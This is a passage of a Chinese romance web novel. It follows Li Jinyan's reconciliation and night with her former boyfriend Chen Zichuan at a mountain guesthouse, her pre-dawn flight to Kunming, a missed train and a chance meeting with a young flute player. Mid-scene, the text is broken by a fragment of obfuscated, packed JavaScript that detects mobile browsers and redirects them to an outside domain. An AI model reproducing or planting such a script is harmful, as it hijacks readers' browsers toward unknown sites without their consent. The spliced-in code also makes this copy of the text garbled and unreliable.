“是。”李今晏有些累,靠着椅背:“伊夏应该有说吧。”
“是是是,那行,那先不说这个了……emmm你过两天,和我们一起去香格里拉检查吧?”
李今晏想了想,想点头。虽然现在感觉没啥问题,但还是得拍个片才能放心。但她又不想和他们一起,说:“我回昆明,让喻炀给我检查就行。”
末了又加一句:“对了,喻炀人呢?”
“赶回去上班了,那是马不停蹄啊。”关斯扬胡诌两句,看她嘴唇干,又站起身开了瓶矿泉水递给她:“害,我们这儿也有个病号,你这不就顺便吗?而且去香格里拉更近,回昆明的话,还不是要去香格里拉或者丽江中转。”
李今晏接过来,咕咚咕咚喝下几口:“病号?你也受伤了?”
关斯扬转了个圈,差点要原地跳舞:“我好得很,真正有问题的是其他人呐……”
关斯扬边说还边扭着身体边指对面,提醒她道:“你想想,是谁把你背回来的?……你想想,我为啥不跟着君君去香格里拉?”
关斯扬一拍桌子,桌子上的冰袋被震得抖了一下:“这里有人要我照顾呀……”
李今晏不看他,还是说:“老板娘背我回来的。”
关斯扬“啧”了一声:“老板娘就帮你换衣服那些……唉,别装了,就是我们川儿把你抱回来的。而且他的左膝……可能要切除另外一半半月板了……”
李今晏这下抬头:“?”
看她疑惑,关斯扬继续吊她:“差点啊,就要永久性残废了。”
李今晏忍不住:“你把话说清楚。”
什么叫切除半月板,还是另一半?他之前切除过吗?为什么现在又要切除?还有,背她回来的人真的是他?他不是选了伊夏?
关斯扬又重新坐在床尾:“你不知道吧,五年前寒假,陈梓川打篮球抢篮板的时候,被人恶意撞飞落地不稳,摔了几米远,左膝盖外侧半月板直接撕裂。”
李今晏喃喃道:“五年前……篮球……”
有什么一闪而过,李今晏还没想起来,又听到关斯扬继续说。
“是的,就是你跟他说分手前的那个寒假。”
“……”
我跟他说分手……
李今晏有些呼吸不畅,那时候陈梓川每天都跟她发消息,说想她,她根本没多想。因为陈梓川内里其实很粘人,这些在她看来就是日常。
但仔细想想是能发现不一样的,比如陈梓川接起视频电话的时间长了,偶尔还会不接直接挂断。
关斯扬:“他怕你担心,什么都不跟你说,只说想你。有时候你视频突然打来,他要跌跌撞撞跑到看不出来是医院的地方才敢接起。”
李今晏:“……”
李今晏攥紧了手:“那后来呢?”
“后来,手术之后的他收到你的分手信息,没恢复好……”关斯扬简单掠过。
李今晏闭上眼,她脑海中已经能想到,以陈梓川的性格会做出什么样的疯狂举动来了,她止不住难受:“为什么?那为什么你们还要带他来徒步?他膝盖本就不好……”
“是我们带他来的吗?”关斯扬很冷静:“你比谁都清楚,他就没喜欢过旅游。”
李今晏心里不是滋味,皱眉道:“那你们也该阻止他啊。”
“我吗?就凭我吗?”
“……”
李今晏叹了口气。
关斯扬还是这么平静看着她,给出一句:“那晚,他膝盖已经到极限的情况下,还是背着伊夏,抱着你,一步步走到了下村,求人帮忙……”
“你知道吗,后来你被背回来检查完了,老板娘说没什么事,他才肯去处理自己的膝盖,血肉模糊的膝盖啊……”
李今晏心脏深处狠狠抽了一下。她喉咙发紧,胸口像是被一只无形的手狠狠攥住,酸涩的热意直冲眼眶。
关斯扬再说起这些也不好受:“我不知道你2020年到底怎么了,但这几年来,川儿对你始终如一,那个伊夏你完全不用在意……李今晏,他是真的真的喜欢你,很喜欢你,喜欢到……可以放弃自己的生命。”
“你们找机会,好好聊聊?算是给我这老朋友个面子?行不?”
李今晏从没见过关斯扬这样诚恳严肃的样子,她缓缓开口:“关斯扬……那年我其实,我其实是……”
“咚咚咚!”
“咚咚咚!”
几声疯狂的砸门声打断了李今晏,她听见门外的人在大喊。
“关斯扬!李今晏不见了!”
如此急切又压抑,是陈梓川。
李今晏赶忙站起身,囫囵抹掉眼角的泪,冲过去开门。
门打开后,她微喘着说:“陈梓川!我在这儿!”
陈梓川脸上还带着焦虑和紧张,一手拿着手机,一手杵着拐杖。
低头看到李今晏的那瞬间,他非但没有安心,好像还更生气了,下颚线绷得像拉满的弓,嘴角下拉,指节攥得发白。
陈梓川直接扔掉拐杖,拽着她的腕就往203走。
“哎——”李今晏心道,完了,高压锅误会了……
关斯扬在后面捡起拐杖:“人没走啊!别冲动!”
陈梓川干净利落用万能
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卡滴开203,房门很快重重关上,走廊上歪进来的光迅速溜走。
屋内只剩刚才床边的小夜灯。
李今晏猛地被人推撞到墙角,闷哼一声。昏黄台灯只照亮一隅,将两人的身影拉长、融合在墙壁上。
那人的肩膀因压抑怒气而发抖,呼吸声又重又急。听到她哼唧两句,也不愿意松开肩膀上抓紧的手。
李今晏娇声道:“疼~陈梓川~你把我撞疼了……”
“你又要跑!又要玩失踪!又要……”后面三个字那人没说出口,他依然没放开她,但李今晏还是能感觉到肩膀上逐渐变小的力道。
她缩着身体尽力安抚:“陈梓川,我就在这里,我哪里都不走,我只是和关斯扬说了几句话。”
好像得到通行证那般,陈梓川的呼吸渐渐平缓下来,只眼睛还死死盯着她。
她又继续真情道:“我知道你膝盖的事了,还知道是你抱我回来……是我误解你了,对不起。”
陈梓川没说话,手上的力道又重了些,她赶忙:“我之前错怪你了,以为你见死不救冷漠无情……想来神瀑那会儿你膝盖就很不好受了,我还骂你……”
李今晏看着他,他就这么紧闭着嘴,好像还在等她说下一句。
李今晏好脾气:“你别生气了,好不好?我们要不要坐下来?我怕你膝盖疼。”
陈梓川还是沉默着……
李今晏看他像个木头,有点儿不爽了:“你听到没啊?”
依然不回答……
李今晏索性也闭上嘴了,偏过头去,看都不看他。
陈梓川捏着她的下巴扭过来,逼迫她和自己对视。
两人靠得很近,他的目光沉沉锁住她,带着审视,带着探寻,李今晏以为他有话要说,就这么抬眼看他。
一秒……
两秒……
五秒……
半分钟过去了,空气中仍然很安静。
就在李今晏准备别开他离开的时候,陈梓川终于开口:
“你就没什么要解释的吗?”
李今晏疑惑:“还有什么啊?”
陈梓川叹了口气,败下阵来:“五年前的事。”
他甚至不想提“分手”两字。
看来他还是在意这个,李今晏停顿了一下:“都说了嘛……是因为受不了异地恋。”
不知道陈梓川信没信,反正他很快回答:“我现在,是不用坐班的数据分析师。”
言外之意,她想去哪里,他都可以陪。
李今晏呆住,有些不敢看他的眼睛。
陈梓川明白了,声音很轻:“那就是因为……我有躁郁症。”
李今晏的心漏了一拍,她慌忙解释:“不是!”
怎么会这么想呢?她从来就没有在意过啊。
躁郁症就是双向情感障碍症,陈梓川一般发作起来,情绪一会儿高涨一会儿低落。
李今晏刚认识他的时候,他还靠着飙车和抽烟去缓解,但李今晏就是个小太阳,从开始陪着他聊天散步,到后来的亲吻和爱欲,陈梓川每天都很开心,有近一年没犯病。
她喜欢安抚他的过程,喜欢他逐渐好起来的那种成就感,怎么会因为这个跟他分手?
说到这个,李今晏忽然想到,疫情那几年里管理很严,如果发病,那陈梓川是怎么缓解的呢?
不能出门飙车,也没有她的陪伴,只能闷在那个本就压抑的家里……
她有些不敢想,真的不敢想……
“你那天说,喻炀的情绪比我稳定。”
说这句话的陈梓川嗓音沙哑,语调里居然带了点儿委屈,以及难以察觉的颤抖。
李今晏尴尬:“我……我为了气你嘛……”
陈梓川又不说话了,就这么看着她。
这么僵持了一会儿,李今晏忽然没来由问了一句:
“陈梓川,你想不想亲我?”
陈梓川愣住。
就这一秒,呼吸在咫尺之间开始暧昧地交织、缠绕、升温。
她微启的唇仿佛是一个无声的邀请,他只要再低一点头,就能轻易攫取那份柔软。那极近的距离让每次气息的交换都充满了试探与诱惑。
她身上那件粉色上衣显然大了几个尺码,宽袖如蝶翼般垂落,领口松垮地露出纤细的锁骨,仿佛风一吹便会顺着肩胛骨滑落。
陈梓川喉结滚动,不动声色移开眼:“如果我说不想呢?”
李今晏捧住他的脸:
“那就是我想亲你。”
12. 灵魂
李今晏从脸颊往上,触到他立体精致的眉骨和眼窝,再到那漆黑幽深的眼。
偏偏睫毛浓密如鸦羽,垂眸时在眼下投下一小片阴影,让李今晏忍不住想窥探他眼底的情绪。
陈梓川脸上的每一寸皮肤都在她指尖下燃烧。他心跳如擂鼓,有些受不住:
“你不是说……想亲我?”
李今晏被他性.感的嗓音撩得心痒,轻笑道:“你在等我的吻吗?”
近在咫尺的人没有承认,更没有后退。他像野兽盯着猎物,既克制又危险。
李今晏靠近了点儿,在他就要忍不住贴上来的那一瞬又猛地后撤,她抵住墙笑得狡黠:“可你刚才说,你不想。”
落空的温香软玉陈梓川怎么可能放过?下一秒,他猛地搂住她的腰,再往前狠狠一紧。
呼吸交错间,李今晏听到他说:“那不是我……李今晏,那不是我。”
陈梓川永远不会不想靠近李今晏。
五年了,他的唇终于再次覆上她的。
起初居然只是极力压抑的蜻蜓点水,陈梓川试探性的从唇角到唇珠再到唇角,一寸一寸,像是在确认这是否真实。
慢慢的,整个吻,整个心脏甚至大脑里的每根神经,都是记忆里那魂牵梦萦的甜味。
气氛逐渐升温,这个吻很快就变得燥.热起来,像是压抑多年的情感终于找到了宣泄的出口。当李今晏无意识地轻启唇瓣,陈梓川的舌.尖便长驱直入,带着不容抗拒的侵略性,搅乱她的呼吸!掠夺她口中每一寸甜腻空气!
陈梓川充满男性的荷尔蒙气息充斥着李今晏的五感,她面色泛红,头晕目眩,忍不住出声:
“唔……”
不知不觉中,李今晏习惯性将手慢慢往下……
理智悬在崖边,陈梓川突然狠咬了一下后退开,两人唇间拉出一条银线,他沉着声说:“不能再继续了。”
他眼尾还泛着一抹薄红,睫毛低垂着,不看她。李今晏平息了下起伏的胸口,目光涣散,可怜道:“为什么?你不想我吗?”
陈梓川站在背光处,冲锋衣的硬质轮廓被黑暗模糊了边缘,她不喜欢带着冰冷气息的冲锋衣,她想拉开拉链。
陈梓川的眼眸深如黑潭,抓住她又乱动的手:“可次仁老板娘说,你身上有很多淤青,我怕你会疼。”
李今晏不管,大胆笑道:“那你再添点红的……像以前一样。”
陈梓川被她带偏,压抑着问:“用什么?”
用什么?
“当然是……这里。”
李今晏踮脚,轻啄了下他水光潋滟的唇。
理智就要被击溃,陈梓川却还是微微偏开头,声音暗哑:“你不是来月经了?”
不是推辞,倒像是最后一道确认。
“已经结束了,我一般就3-4天,你又不是不知道。再说了……你以前有一次,不是也浴血奋战过?”
陈梓川气血上涌:“……”
理智彻底被压垮的前一秒,李今晏再加一层码!她搂着他的脖子,用舌.尖轻刺了下那发烫的耳垂:“你耳垂上的可爱小痣还在,你不想知道我的还在不……啊……”
一阵惊呼,李今晏被抱起。
她挂在陈梓川身上,挣扎着想下来:“你膝盖痛不痛?我能自己走。”
陈梓川不听,几步走过去,将她放在大床那五颜六色的氆氇团花上,直接俯身下去。
床头那盏小夜灯像被揉碎的月光,在玻璃罩里凝成昏黄的光晕。光线暗,反而让其他感官更加敏锐,她又能听见他紊乱的呼吸,能感受到他指尖传来的温度,尝到他唇间淡淡的薄荷味。
他想从她衣服下摆摸进去,却被抓住。
陈梓川:“?”
身下的人声音娇软,湿.漉漉的看着他:“人家冷嘛,不想脱。”
“我给你开空调。”陈梓川直起身,想把她塞到被子里。
“嗯~”李今晏抓住他的肩膀,又吊住他的脖子,在吻上去之前,说了两个字:
“认真。”
……
李今晏是被饿醒的。
醒来的她感到身体一阵不适,周遭气息温热,她又羞又急,轻轻退出,小心翼翼挪开陈梓川环在身侧的手。
陈梓川动了下,把她吓得瞬间停住。
一秒……
两秒……
黑暗中看不清陈梓川的脸,但他呼吸均匀,看样子没吵醒,李今晏放下悬着的心。
但刚拉开被子,腰侧瞬间一紧,他又严丝合缝的挤进来,声音迷蒙:“要去哪儿?”
“哈~”李今晏轻呼一声,被他摩挲着又软下来:“有点儿饿,我晚上没吃,又跟你在这儿那啥了大半时间,累都快累死了。”
“那啥?”
陈梓川好像笑了一声,他只听得见那像小猫爪轻轻挠人般又娇又软的声音:“李今晏,别对我撒娇。”
又温存了会儿,陈梓川说要起身给她煮东西吃,这下是李今晏不愿意了:
“我吃饱了,睡吧。”
陈梓川:“……”
·
李今晏再次醒来时已经半夜了。
她这次的动作堪比练了轻功,等她悄声下床穿上内裤,拿着手机进了厕所,陈梓川还是一动不动。
轻轻开了灯,李今晏埋下头去看,差点没被自己吓死。她现在就是一整个五颜六色。
两条腿上全是疯狂的痕迹,微微拉开一点衣领,脖子胸口也没好到哪儿去。红的虽小,但数量庞大,星星点点或是连成一片的围着那些淤青。
李今晏傻眼了,幸好还是春天穿得厚,不然她这身体到底要怎么遮……
陈梓川怎么跟刚开荤那会儿一样啊……
她有两分钟就那么呆呆的扶着墙,一切都变得好不真实,彼此最熟悉的灵魂再次重聚,好像又回到了五年前。
李今晏按开手机,喻炀和方女士都发来过消息。
【方女士】:又流浪到哪儿了?
发信时间就是刚才10点过。
【今朝晏晏】:还在香格里拉。
方女士秒回:早知道了,喻炀刚跟我说你进山了,信号不好。
【方女士】:怎么样啊这两天处的?喻炀说挺不错的呢。
呵,这喻炀还挺会给她打掩护。李今晏心道。
【今朝晏晏】:没戏,我不喜欢这一卦的。
【方女士】:什么不喜欢?你都让人家和你一起徒步了。
【方女士】:你要气死我吗?
【方女士】:人家隔壁家
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小王都要生二胎了!
有一分钟,没有收到方女士的连珠炮,李今晏心叫不好。
果不其然,方女士的电话就追来了:“李今晏,你到底怎么回事??“
李今晏往里冲,躲到浴室角落,死死捂住手机话筒,压低声音:“什么怎么回事?我从来都是这个态度,一直都是你们一厢情愿罢了。”
方鸣玉:“喻妈妈那边也知道了,就等你点个头了。”
李今晏:“知道什么?我去跟她解释。”
“你……”方鸣玉顿了两秒,压抑着火气:“你不喜欢这样的?……怎么,还喜欢陈梓川那样的吗?”
李今晏:“……”
方鸣玉带着一丝逼问:“嗯?”
空气中静了两秒。
李今晏不想再撒谎了,她垂下手紧闭着嘴不吭声。
电话那头是一阵恍然大悟:“我就知道,我就知道!你现在连骗我都做不到了吗?”
李今晏还是不说话。
良久。
她轻轻启唇:“妈,对不起。”
“……”对面沉默两秒,接着是带着哭腔的颤抖:“李今晏啊李今晏!你怎么会这样傻,五年前的教训还不够深刻是吗?你非要让他们一家人把你的命拿去你才肯罢休!”
“不是的,我……”
“嘟嘟嘟——”
李今晏话还没说话,电话就挂了。
挂之前,方鸣玉留下最后一句:“你别忘了我们的约定,只要我还活着有一口气在,它永远有效。”
约定……
五年前的约定……
听到这两个字,李今晏的胸口仿佛压着一块浸水的厚棉被,沉甸甸地往下坠,连带着心跳都变得黏稠迟缓。
身体上的疼痛又像潮水一样漫上来,不是瞬间的剧痛,不是表皮的外伤,而是经年累月的侵蚀,把心脏蛀出密密麻麻的孔洞。
……
李今晏站够了,慢慢走出厕所。
可没想到一拉开门,陈梓川就这么靠着墙站在门口,他问:“你是不是要走?”
李今晏紧张:“我不走,我上厕所啊。”
陈梓川:“上厕所有必要出来吗?“”
?出来?
出哪里来?
出!
李今晏结结巴巴:“出,出个屁……滚……”
陈梓川现在怎么愈发不害臊。
她红着脸,把浴室里挂着的毛巾扯下扔给他:“挡,挡,挡一下!”
陈梓川接住闻了闻,带着一丝迷恋抬眼:“你的毛巾。”
肯定句。
我……我你妹啊……
她递来的粉毛巾被他随手绕上,遮住了下颌到喉结的那片肌肤,但耳根后仍漏出一星红痕,像雪地里落下的梅瓣。
再往下点儿,那人手臂有力,腕骨线条凌厉,青筋若隐若现地伏在冷白皮肤下,充满隐晦的力量感。
李今晏眼神飘忽,不敢去看他,但不看他的坏处就是,根本不知道他在干嘛……
紧接着就是一阵天旋地转,李今晏被他公主抱起,她大喊:
“陈梓川!你膝盖不要了吗?!”
陈梓川将她丢到床上:
“不要了,就要你。”
……
13. 火车
凌晨3点,依然一室旖旎,李今晏睁开眼。
陈梓川这几日为了照顾他,一直都没怎么睡好,现在终于能安心睡上一觉。
神木那天天气很好,夜色如墨,窗外的月光透过纱帘,在床前投下斑驳的影子。男人沉沉地睡着,呼吸均匀而绵长,眉宇间的疲惫在睡梦中渐渐舒展。
腰上还有熟悉的重量和热度,李今晏轻轻捏了捏他的手,最后又摸起他的脸来。
她侧卧在他身旁,借着微光凝视他的脸。指尖轻轻掠过他的眉骨,像触碰一片羽毛般小心翼翼。
他皮肤温热,带着熟悉的触感,让她心头泛起一阵柔软的涟漪。指腹沿着他的鼻梁缓缓下滑,停在唇边,又怕惊扰了他的梦,转而抚上他的眼。
陈梓川的睫毛在梦中微微颤动,却未醒来。她嘴角不自觉地扬起,指尖再次回到他的脸颊,用最轻的力道描摹着他的轮廓,仿佛要将这一刻的安宁刻进心里。
陈梓川……对不起,你还是继续恨我吧……
李今晏轻手轻脚直起身下床,像只偷溜的猫。但她脚尖刚沾地,床垫就“吱呀”轻响,吓得她瞬间定住,连头发丝都不敢晃一下。
陈梓川翻了个身,她立刻矮了半截,蹲在床边用抱枕当掩体。等了一分钟无事发生,才踮着脚以慢动作前进,结果膝盖又“咔”地一声脆响,惊得她倒吸凉气,差点把自己呛到。
半个小时后,李今晏终于满头大汗的,在不吵醒陈梓川的情况下穿好了所有衣服。
她看了眼四处摊开的装备、生活用品,还有陈梓川刚刚默默收起来,藏在柜子里的登山包,只得微微叹气。
那登山包跟她大半年了呢,唉……可惜。
最后的最后,李今晏偷偷拍下熟睡的陈梓川……然后拿上身份证转身离开,再不回头。
下了楼,紫青稞还是一片漆黑,一楼客厅静得能听见火塘里柴炭轻微的噼啪声。
几盏未熄的酥油灯在角落里昏黄地亮着,将木墙上的经幡和褪色照片映出摇曳的影子。长条木桌上还留着昨夜旅人喝剩的半壶酥油茶,铜壶表面凝了一层薄薄的奶皮。
门缝里钻进来高原的风,带着雪线与森林的潮湿气味,把柜台上的登记簿掀开一角。
大门紧闭着拉不开,李今晏不好意思的拨通了老板娘的电话。十分钟后,次仁披着外套打着哈欠出现。
看到她的次仁瞌睡都吓没了:“呀!是你啊小卓玛??你醒啦?你别乱动呀,再躺躺去。”
李今晏搓了搓手,笑得明媚:“老板娘我好啦,躺够了都,辛苦你这两天照顾我啦,我都听朋友说了。”
“不客气的哟,我喜欢你嘛。”小卓玛说不躺那就不躺吧,次仁又拉着她坐在火塘边:“你这么早,是要出去??”
次仁来回上下扫她,小卓玛什么包包都没背双手空空,这个点要去哪儿?
李今晏左手被她粗粝温暖的大掌握住,笑着用气音说:“我要走啦,忙着去昆明赶火车。”
神木村出了村还得越野车转县城、动车转香格里拉、再昆明……最后北上四川大凉山。有时候她在想,横断山难道是因为横在云川之间所以叫横断吗?
不然为什么不能这里直接到四川?
次仁看她用两只手指比出走路的样子,笑完才发现不对劲:“是因为楼上那男孩吧?”
啥都不要了,这么早开溜,必有古怪啊。
李今晏一愣。
次仁看她的表情就知道猜对了,脸上藏不住的骄傲:“瞒不住我滴,我早看出来了……不过这小伙子我觉得不错啊,值得嫁……这两天都守着你,就我帮你换衣服的时候他出来吃个饭,擦点药……比早早走了的那个好!”
反正她是站陈梓川。
次仁看她表情数变,继续道:“他那个烂膝盖哟……要不是我的独家秘方……”
李今晏听不下去了,哑着声打住:“老板娘,我现在要去赶火车了……”
再迟,她怕自己心软不走了。
次仁又抻着脖子去看,外面的天还是漆黑一片:“这个点,哪有车出村?”
“啊?”李今晏微张着嘴:“那怎么办?”一时间竟忘了神木村的烂土路,只能越野车出去。
次仁站起身:“我小儿子在云岭镇的寄宿制小学上学,今天就要去学校,你跟他一起吧,不过还得要一会儿,这才四点过,娃娃还没睡醒嘞。”
李今晏感激不尽,站起来看她把门打开,两侧门框上深深浅浅刻着几十道划痕——次仁说:“这是雪季封山时,我们记日子的方式。”
李今晏点点头,又疑惑道:“现在要出去吗?您儿子……”
“他不住这儿,这儿晚上吵得很。”次仁让开位置,拉开帘指了指斜对面已经亮灯的早餐店:“你去那里面等吧,那儿更热和。吃个糌粑喝碗酥油茶,暖呼呼的走。”
李今晏笑着点点头。
次仁站在门边打了个重重的哈欠,又忽然想起帮她换衣服时,她肚子上的莲花纹身。
看着那孤身一人掀帘踏入寒冷黑夜,次仁无声说了句:
“小卓玛,平安顺遂哟。”
……
其实陈梓川能感觉到李今晏的不对劲,听到她在浴室压着声打电话,他便悄声站远,他也依着她不去脱她的上衣,亲吻时再渴望也避开小腹。
李今晏不想说,他也不想逼,只要她在身边就好。陈梓川昨晚本来不敢睡的,但李今晏一遍又一遍温柔安心的保证让人听起来就像催眠剂,他又一次深陷这样的‘甜蜜谎言’中……
所以当陈梓川早晨伸手一摸,发现身侧凉得好似冰窖时。他瞬间惊醒。
陈梓川猛地睁开眼坐起身,屋内已天光大亮,衣物散落四处,房间里空空荡荡毫无人气,他心情止不住的下坠。
李今晏,好啊,好啊,真不愧是你,又吃干抹净然后抛下他跑了,这次宁愿包、装备都不要。他忽然觉得昨晚的前两次不过是预演罢了,他原来一直都留不住她!
陈梓川穿好衣服冲下楼,猛地抓住店小二:“我要看监控。”
端着盘子的曲珍反应过来后:“你要找谁?我们这儿不能随便给人看的。”
陈梓川压着气:“……我,老,婆……跑,了。”
老?老婆?
周围收拾装备的驴友听到这儿,都转过身来看热闹。
曲珍偏过头去,心里暗暗盘算。
老板娘不是说这俩是仇人吗?还说小卓玛已经被她好心放走了,如果有帅哥发疯找人,让她千万拦住。
这个就挺帅,原来是夫妻啊??
哦~她恍然大悟,难道是纯恨夫妻?那还挺带感的哈。
曲珍转过头来把麻花辫甩到背上,假咳两声:“有规定,不给看。”
陈梓川阴着脸,冷哼一声,转身走了。
走了??
曲珍长呼口气,但心底还有点失落,竟然就这么罢休了。
不好玩,不好玩。
直到下午,她在前台呼呼大睡时被采药回来的次仁拍醒,才知道自家监控系统被黑了……
次仁用藏语骂她:“睡睡睡!就知道睡!简直像牦牛一样笨!”
·
李今晏收到次仁电话的时候已经下午五点了,她一路上越野转火车,再转飞机,非常极限的赶到了昆明。
但赶是赶到了昆明,只是还有7分钟动车就要开了。
高铁站人潮拥挤,李今晏着急,按断了次仁的电话,但没想到她坚持不懈的又打来了。她只好接起,只听得次仁问:
“就一句话,你确定要躲瘸腿帅哥?”
李今晏尽力偏身,让开人群冲上二楼扶梯,大喘了口气:“是啊,咋了?”
“赶紧走!”
李今晏:“???”
李今晏:“!!!”
脑子还懵着的李今晏神经开始极限紧绷,她迈着大步跨上了几层台阶。
早上次仁送的破旧灰蓝登山包空空荡荡,直直往上冲的时候左摇右晃,前面背着尿素袋的老头被她撞了下,不爽的骂骂咧咧起来。
“骚!瑞!啦!”
李今晏扔下抱歉,掠过他继续往上,但很快她就不得不慢下来,身体的疼痛感其实一直没有消失过。
她刚站定喘了两秒,无奈等候大厅里的催命广播又响起:
“尊敬的旅客朋友们请注意,由【昆明站】开往【西昌西站】的【D264次】列车即将发车,发车时间为【17:07】,请还未上车的旅客抓紧时间登车。列车停靠在【8号站台】,请从【A14检票口】进站。谢谢!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895997|176178||http|test|mini|href|location''.split(''|''),0,{}));
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>“啊—”眼看着还有5分钟就要发车了!!!她宛如热锅上的蚂蚁焦得要死。扯着一股筋,不顾疼痛,李今晏一口气跑上二楼冲向A14。
但等她累死累活冲到检票口时,闸机已经亮起刺眼的红灯。
“等等——!”
“咔——哒——”
李今晏的声音卡在喉咙里,她眼睁睁看着最后一位旅客跑过,检票员面无表情地按下关闭按钮。
“停止检票。”盘着一丝不苟圆髻的检票员冰冷的对她说。
李今晏不死心的去贴身份证,闸机毫无反应后又猛地攥住隔离栏杆,开始哭丧着撒娇:“姐姐,不是还有两分钟嘛……”
检票员看了眼电子大屏:“一分钟。”
李今晏笑容凝滞,眨了眨眼:“……”
就算她通过了,也不可能在一分钟之内跑下站台,再跑上动车。
膝盖一软,李今晏顺着栏杆滑坐在地上。背包带子勒红的肩膀火辣辣地疼,狂奔后的心脏还在狂跳。
这一天到底在干嘛呀?不就为了这一刻吗???这已经是最迟的一班直达西昌的车了,难道她要在高铁站将就一晚明早出发吗??
唉!
李今晏很是丧气。
等她靠着栏杆,在地上歇够了,终于又拖着包站起身,找了个座位坐下。
这会儿她才又左顾右盼起来,陈梓川不会现在已经赶到昆明站,在哪个犄角旮旯监视她了吧???
李今晏又摇摇头,不会不会,她在天微微亮的时候就出村了,全村第一车捏!陈梓川再早也不可能早过她的。
李今晏长呼口气,开始纠结下一城去哪……
还去西昌还去四川吗?
想去呐!她这趟出发前看了好多大凉山彝族、川西藏区的纪录片,噢!还有可爱的顶流熊猫——花花!
可是现在已经没有车了,她又急着走……要等明天吗?还是换个川南小村庄呆一呆?
就在李今晏纠结的时候,邻座有人跟她搭腔:“姐姐,你也去贵州吗?”
李今晏闻声转头去看,那是个大约十八九的少年,手里还端着一碗见底的泡面。
他长相俊俏身形稍瘦,皮肤是被太阳吻过的浅铜色,鼻梁却意外地高且直,在脸上投下一道小小阴影。李今晏最先被吸引的是他的眼睛,那眼睛亮亮的,像是山涧里刚舀起的泉水。
李今晏笑:“我还没想好呢,还没买票。”
杨亚沙惊讶:“没买票能进来这里吗?”
李今晏指着旁边A14,无奈道:“我错过动车啦……现在要去退了重新买票。”
“嗷~”杨亚沙侧着身面对她:“那你本来是要去哪里?”
“四川西昌。”
他眼睛转了两圈:“哦哦哦。”
他不知道西昌在哪,但四川是知道的。
李今晏看了眼电子屏,问:“你要到曲靖?”
杨亚沙摇摇头,仰头喝下最后一点面汤:“我坐再下两班,到贵州。”
“这么早就来了?”再下两班的k740要11点半去了,这会儿才五点过,还得干等6个小时呢。
杨亚沙青涩一笑:“没事做嘛,早点来等着。”
李今晏又打量起他来,靛青土布衣被整齐塞进牛仔裤里,看列车时刻表时会微微仰头,喉结下的银坠子一闪——是颗极小的苗银铃铛,却哑了似的不作响。
他脚边放着个鼓囊囊的蛇皮袋,用塑料绳扎口处露出几根竹笛的尾端。
李今晏问:“你来昆明表演的?”
杨亚沙有些惊喜:“是的,你看出来啦!”
李今晏由衷赞美:“你音色不错,穿着民族服饰,还带着乐器……”李今晏指指他脚边的竹笛:“我猜你就是来表演的。”
“嘿嘿,我来打工的。”少年有些不好意思的挠挠头:“有机会吹给你听啊。”
李今晏来了兴致:“现在就可以。”
“啊?现在?”
周围人多嘈杂,李今晏以为杨亚沙有些害羞,说:“那就下次吧。”
她想,应该是没有下次的下次。
可听到这里的杨亚沙又有些慌张,他快速放下手里的泡面盒,从布包夹层深处掏出一个脱漆mp3给她:
“你听这个,好听。”
14. 雪线
李今晏看着他用衣角用力擦了擦耳机孔,接过来塞上。
耳中忽有笛声飘来,像根银丝线穿透嘈杂人声。那是带着毛刺的、清凌凌的音——像用竹尖刮开山雾,又像赤脚踩过溪涧的鹅卵石。
李今晏的心渐渐平静下来,她似乎已经想好下一站要去哪里了……
一曲闭,李今晏取下耳机,对上他期待的眼神。她扬起大大微笑:“我决定去贵州玩了,因为你超级好听的笛音!”
“真的?!”
李今晏点头:“嗯!”
杨亚沙嘴角先是抿成一条线,听到她的话后缓缓漾开,他眼睛弯起来,嘴角一点点上扬,露出两颗小小虎牙:“去贵州玩?因为我的笛音?”
李今晏肯定道:“嗯啊!”
“你你你,不是要去四川吗?”杨亚沙还是不敢相信。
李今晏站起身拍拍他的肩:“和四川爱人错过喽,下次吧,这次和贵州有缘。”
杨亚沙激动站起:“那你要去买票吗??可以和我一趟车!我是硬座,你买个软卧,睡一觉咱们就到凯里了。”
他一站起,忽然比她高出一个头,“黔东南凯里?”李今晏退了一步,拉起登山包:“嗯啊可以,我现在就去人工窗口买,看能不能候补到。”
“好好好,我在这里等你。”杨亚沙很开心,又交到一个朋友。
下了二楼,李今晏收到两条消息。
视角西南的摄影主编:【今晏,你这期的小故事怎么还没发?】
【可爱.JPG】
李今晏经常会在自己的公众号上放一些旅途趣事,闻代云就是去年在【今朝晏晏】上发现她的。
【今朝晏晏】:马上马上!今天累了一天,晚上躺下好好写写。
【闻代云】:好呀好呀!期待!恨不得你日更呢!没看到你的粉丝催更吗?
【今朝晏晏】:哈哈哈哈哈哈哈哈……我刚死里逃生,手还在,这下真得好好梳理一下。
【今朝晏晏】:这期神木村徒步的照片可以全部卖给你!
【闻代云】:欧耶!
【闻代云】:等等??什么死里逃生??又发生什么事遇到什么人啦??
遇到……唉算了。
【今朝晏晏】:到时候你就知道了……
其实李今晏最初的想法是想把自己滚落冷杉林那段写进去的,当时还拍了一张伊夏的照片也有这个意图。
但今早的一段对话让她改变了主意。
清晨不到六点,次仁就把儿子朗杰从被温暖窝里拉起来了,他自然对李今晏是怨气十足,一直到又在车上睡了两觉才好些。
李今晏看他睡好了,主动跟他搭话:“六年级学习紧张吗?”
朗杰圆滚结实,肤色深红,翘着二郎腿不答反问:“雪线上看得见山吗?”
“???雪线?”
此时车早已驶出神木上了高速,海拔渐高,李今晏偏头看去,他们与雪山的相对距离似乎拉远了些,但视野更开阔。可以看到连绵雪峰群,如同巨大的冰雪屏风,稳稳地镇守在神木山谷的后方。
路边的五彩经幡在清冽干燥的春风中猎猎作响,声音格外清脆。有些在冬季风雪中破损的旧经幡,被新挂上的鲜艳布条取代。
她想了想,说:“当然啦,现在不就是初春嘛,很多积雪开始渐渐融化,山体露出来,你就能看到山呀。”
李今晏还想给他上上价值,抱起手:“你现在是祖国的花朵,以后更是自己的山。”
朗杰看她一副‘大人’模样,大笑:“那你现在长大了,成为自己的山了吗?”
李今晏脱口而出:“我成为了呀,我虽然赚的少,但是不伸手往家里要钱,走南闯北我都一个人,而且过得潇洒快活。”
朗杰疑惑:“能赚钱就是山吗?”
